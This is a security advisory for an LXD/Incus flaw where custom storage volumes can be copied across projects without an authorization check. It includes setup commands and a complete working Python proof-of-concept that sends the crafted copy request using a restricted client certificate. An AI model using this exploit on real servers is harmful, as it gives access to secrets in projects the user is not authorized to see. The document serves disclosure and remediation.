GHSA-7mr3-28h5-m5vx: LXD has project restriction bypass for custom volume copy across projects
Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
Summary
Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC Setup
We assume the target server is remotely accessible and a user/certificate has been added.
create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol
restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default
verification, with the restricted certificate incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project."""
from future import annotations
import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.createdefaultcontext() if insecure: ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE ctx.loadcertchain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise
def main() -> int: ap = argparse.ArgumentParser() ap.addargument("--url", required=True) ap.addargument("--cert", required=True) ap.addargument("--key", required=True) ap.addargument("--pool", required=True) ap.addargument("--target-project", required=True) ap.addargument("--source-project", required=True) ap.addargument("--source-volume", required=True) ap.addargument("--source-pool") ap.addargument("--name", required=True, help="new volume name in target project") ap.addargument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.addargument("--volume-only", action="storetrue") ap.addargument("--insecure", action="storetrue") ap.addargument("--dry-run", action="storetrue") args = ap.parseargs()
source = { "type": "copy", "name": args.sourcevolume, "project": args.sourceproject, "volumeonly": args.volumeonly, } if args.sourcepool: source["pool"] = args.sourcepool
body = { "name": args.name, "type": "custom", "contenttype": args.contenttype, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.targetproject}), ) print(json.dumps(body, indent=2)) if args.dryrun: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0
if name == "main": raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/canonical/lxdto a version that resolves this vulnerability.Fixed in 0.0.0-20260630083100-c5184be310b1 - Configuration
Edit the existing trusted certificate (for example with `incus config trust edit cert-fp`) and set `restricted: true` to prevent it from accessing the protected project.
Incus trusted certificate restricted = true
Event History
Frequently Asked Questions
Who could exploit this issue?
A user or certificate able to create a custom volume in a target project could exploit it if they know the name of a project they cannot access and the name of a custom volume in that project.
Does the attacker need direct access to the source project or volume?
No. The described flaw occurs because the source project supplied in the copy request is not checked for view permission on the source custom volume.
Are there location constraints on the initial copy?
The custom-volume copy must occur on the same server. After the copy, the resulting volume can be moved to another server.